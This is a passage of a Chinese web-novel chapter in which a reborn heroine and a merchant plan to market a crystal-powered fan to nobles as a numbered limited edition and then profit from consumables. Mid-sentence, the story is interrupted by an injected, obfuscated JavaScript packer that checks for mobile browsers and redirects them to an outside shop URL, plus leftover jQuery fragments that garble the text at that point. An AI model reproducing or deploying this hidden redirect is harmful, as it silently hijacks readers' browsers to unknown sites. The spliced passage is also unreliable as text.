“卖不了。”莱昂这三个字轻轻落下，轻得像风扇里漏出来的一缕风。
工坊安静下来，只剩风扇叶片转动的细微嗡鸣。
叶片打出的凉风徐徐拂过，吹得桌面上的粗麻纸页角轻微翻动。
林策再次看了一眼自己的风扇，她有点不理解：“这不好看么？”
“好看，漂亮得不像北境能产出的东西。”莱昂笑着点点头。
“难道不好用？”林策继续问。
“好用。”莱昂还是笑着回答。
“那为什么卖不了？”林策眼里的困惑更深了。
艾拉先不高兴了。
她刚从矿洞回来，袖口还沾着灰，一进门就听到“卖不了”这三个字。
“怎么卖不了了？”她怒气冲冲地冲到莱昂面前，"它连续转了这么久，三档都没出问题，外壳也没松过。”
莱昂往后退了半步，笑得毫无愧色：“嗨，精灵小姐，你好。”
艾拉不吃他那一套，直勾勾地盯着他：“你说，怎么就卖不了？”
莱昂却走到了风扇旁，他的手指从胡桃木外壳上划过，停在黄铜拨杆上，又移到黑晶槽的嵌口处：“因为你们做了一个好看好用的东西。”他停了一下。
“他们想买的不是凉爽。”
林策心里震了一下，她好像抓到了什么，但她又没有完全抓住：“那是什么？”
“特权。”莱昂轻快地蹦出两个字，“如果贵族可以花两百金币来买凉爽，他们是绝对不会花一百金币的。”
“准确点说，得是别人没有。”本来靠在墙边晒太阳的凯恩懒洋洋地补了一句。
莱昂闻言转头打量他，嘴里发出“啧啧”的称赞声：“勇者先生很懂贵族嘛。”
“别用那个愚蠢的称呼叫我。”凯恩皱了皱眉。
风扇的风一阵一阵扫过桌面。
橘座趴在桌角，尾巴啪嗒啪嗒拍着桌板，拍得很有节奏。
“话说回来，林策，如果你的目标客户是黑石城的富商，或者是南方自由邦的工坊主，这件商品已经足够了好了。”莱昂看着林策，眼神里的玩味收敛了几分，“但如果你想把它卖给王都的贵族，却还远远不够。”
“地窖里的冰块可以降温，冰镇的果酒可以降温，甚至高阶风系法师随手一个魔法也能吹出凉风。”莱昂绕着桌子慢悠悠地走着，浅蓝色的外套在阳光下泛着沉静的光泽，“真正的贵族消费，从来不怕花钱，而是我花出去的钱得到的声音够不够响。”
这，真的不是暴发户么？！林策在心里吐槽。不过转念一想，前世那些所谓的“老钱风”本质上也是祖上阔过，而她现在面对的，正是一群正在阔着的人：“可是，我对这个产品的定位，就是轻奢，就像我们的黑泥膏一样。没那么有钱，但数量更大的小贵族，工坊主，这些才是我的目标客户。”
莱昂这次却没有像第一次听到她提“轻奢”这个词时有欣赏的眼神，他只是笑笑，问一直在身后默默站着的埃德蒙：“从黑石城铺货到王都需要多久？”
埃德蒙下意识站直了身体，脱口而出：“走公爵领的快道，顺利的话需要半个月。”
“王都到南部自由邦呢？”
“那得看具体哪个城邦。最快也要半个月以上。”他沉思了一下，“这还是只是运输时间。中间还要算装箱、交接、商号调货和正式展示。”
莱昂点了点头，又看向林策：“林策小姐，现在已经是春末了。你说的那些客人，也是最讲究花小钱，办大事的客人。”
林策盯着埃德蒙，半晌没说话。
她的手指慢慢攥紧了桌沿。
她居然把运输时间漏掉了。
不，不是漏掉。
是她脑子里那个关于“物流”的尺度，直到刚才都还没有真正换过来。
这里不是她那个全国除开偏远地区，四日物流就能送达的国家了。
等她的风扇送到王都，真正摆上货架，北境都已经入夏了。
要是再往南部自由邦铺货，等各地商号把样品摆出来、客人知道这是个什么东西，今年最值钱的那几个月，已经被硬生生吃掉了一截。
门外，下工的矿工三三两两往村里走，说笑声从门口的路上飘过去，热热闹闹的。
“林策小姐，你没事吧。”格伦担心地看着林策呆若木鸡的样子。
安伦却在一边笑了出来：“值得记录呢，林策第一次露出这种表情。”
“没，没事。”林策对着格伦扯出一个苦笑，“就是有种阴沟里翻船的感觉。”
橘座侧着头看向林策：“阴沟里能开船？”
莱昂难得没趁机笑她。
“所以，它不是卖不了。”莱昂拉过椅子在她对面坐下，“而是不能按照你现在这种‘卖给普通有钱人’的方式卖。”
林策做了一个深呼吸：“那应该怎么卖？”
“你现在这一台，做得太诚实了。”莱昂的手敲了敲风扇的外壳，“把胡桃木换掉，换更贵的木头，表面要做鎏金，底座要做雕花，让人一看就觉得工坊花了大把的时间在这上面。”
他每说一句，林策就在心里吐槽一句：这真的不是暴发户的审美么？
算了，她这种被现代美学教育培养出来的中产阶级简约审美，确实不懂这个时代的贵族要什么。但想想前世去看过的凡尔赛宫，确实也是怎么繁复怎么来，课本上那位乾隆爷也不是把显摆都放到面上么？
她想了一下：“要留空间给每家贵族定制自己专属的纹章么？”
莱昂一副“你学得很快嘛”的表情：“要。”他看了一眼黑晶槽，“这里要做得像宝石镶嵌一样。”
“为什么？”这回轮到艾拉不理解了，“现在这样做换黑晶最方便。”
“换黑晶放不方便那是仆人的事情。不是要买这个东西的人的事情。”莱昂说这话的口气不知道为什么有点欠扁。
安伦在边上轻轻补了一刀：“嗯，这倒挺符合贵族对机关术的一贯态度，享受结果，无视过程。”
“可以，都照你说的改。”林策安抚了一下快暴走的艾拉，“而且，这第一批，我们只做二十台，够么？”
莱昂笑得更开心了：“够了。”
艾拉还是不理解：“只是改个外观而已，我去跟矮人工坊商量一下，一个月够出好几十台了呢。”
“因为她要让那些贵族买不到第二十一台。”凯恩替林策解释，“贵族无聊起来就是这样。”
林策点点头：“而且，我要给每一台都编号。”不就是奢侈品限量版的那一套么？现代社会谁没玩过？
“最后，是名字。”莱昂嘴角扬起一个极其夸张的弧度，“不能叫‘黑晶风扇’，太诚实了。”
林策心里升起一股强烈的不详的预感：“那叫什么？”
“永夏之风。”莱昂微微一顿，又抛出一个选项，“或者，银蔷薇机械风仪。”
林策坐在对面，脸上面无表情，脑海里瞬间浮现出前世那些土味爆棚的“尊贵奢华帝王款”广告，这些名字真的对么？
艾拉极其认真地摸着下巴评价：“第二个名字……听起来就很贵，感觉能多卖十个金币。”
安伦摸了摸鼻子：“银蔷薇倒没什么。只要别做成金色，也别加王冠。”
莱昂看向他。
“玫瑰是王族纹章的一部分。”安伦说，“真刻成金蔷薇，再添个王冠，风扇还没卖出去，王室纹章院的人可能先找上门了。”
靠在墙边的凯恩嘟囔了一句：“听起来终于像是他们愿意抢的东
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948196|211153||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
西了。”
一直坐在角落里抽烟斗的老伍德，此时终于忍不住磕了磕烟斗嘴。
老村长吐出烟，叹了口气：“我以前听村里的老人说过一句话。”
大家的目光都落到了老伍德身上。
老伍德擦了擦烟斗：“他们说，皇帝用的镐子，那肯定都是纯金打出来的。”
他看了一眼桌上那台原本在他眼里已经精致得不得了的风扇，又看了看站在旁边一身华贵的莱昂，摇了摇头：“以前我还觉得这是老一辈人在瞎胡扯……现在看来，怕是真的了。”
靠墙的凯恩淡淡道：“皇帝不用矿镐。”
老伍德一怔：“……哦。”他又抽了一口烟，“也是。”
烟圈晃晃悠悠升上去，在房梁底下散开了。
莱昂没有再纠缠审美问题，转而对林策说道：“一周。我得看到一台新的样品。如果雕花纹样拿不准，范恩商会可以提供王都现在最流行的样式。”
埃德蒙点头：“林策小姐，明天就能送来。要是工坊人手不够，范恩商会也可以调几个熟练工匠过来。”
“一周？”林策有些意外，“这么急？”
“我要把它送进薇奥拉·冯·罗森伯爵夫人的沙龙。”莱昂抬手抓了抓自己浅金色的头发，“到时候，就不用摆在商号里等客人了。”
听到“罗森伯爵夫人的沙龙”，埃德蒙眼皮轻轻跳了一下。他看了莱昂一眼，见自家会长神色认真，便道：“我明天就联系王都分号。”
林策不知道这位伯爵夫人有多大的能量，但既然莱昂这么肯定，那么肯定是有她过人之处。
她点点头：“好，至于定价，就完全交给你了。”
她看向眼前的风扇：“今年我们就走顶奢路线，把身份和特权的属性拉满。”
“但明年不是。”她看向莱昂，“等今年把名声做起来、零件供应和工坊生产都稳定以后，明年我要做第二个版本。”
莱昂有点好奇：“第二个版本？”
“嗯，去掉昂贵木料、定制雕刻、鎏金装饰，保留核心结构，卖给普通贵族、富商、商号管事，甚至条件好的旅店。”
“你不怕今年买了的贵族不开心？”莱昂笑着问她。
“不会，今年买的是身份，是特权，明年也还会有定制版，还是只有二十台。”她想了一下，“至于普通版，我要用卖打印机的方式卖它们。”
“什么机？”本来对卖货没兴趣的艾拉一抓到跟机关有关的词立刻来了兴趣。
林策这才注意到自己不小心蹦出了一个现代的词 ：“就是一种快速写字的机器，但我也不知道怎么做。反正就是机器可以少挣点，主要挣钱的地方在耗材……”
“等等。”安伦低头看了一眼自己这几天记录的几个档位耗晶量，“所以你让我把每一档的能耗单独记下来，不只是为了检查稳定性？”
林策看了他一眼：“你终于发现了。”
莱昂的眼睛亮了：“黑晶。”
林策点点头："风扇只卖一次，而且我们的品质好，不大容易坏。但只要越来越多的设备开始用黑晶，它们每天转、每天烧，后面都会变成持续的能源需求。”
莱昂笑了：“所以你真正想要的，是黑晶的长期买家。”
"风扇也卖。" 林策说，"但它只是开始。"
“哇，林策，用你们东陆的话说，你真的是老奸巨猾啊。”安伦下了个结论。
“老奸巨猾不是这么用的！”林策揉了揉太阳穴，忍不住吐槽。
风还在吹，橘座趴在风口上，毛被吹得向后倒，一脸舒服。
林策拿起笔，把原本计划的首批产量划掉。
重新写下：
第一批，二十台。编号。限量。不补。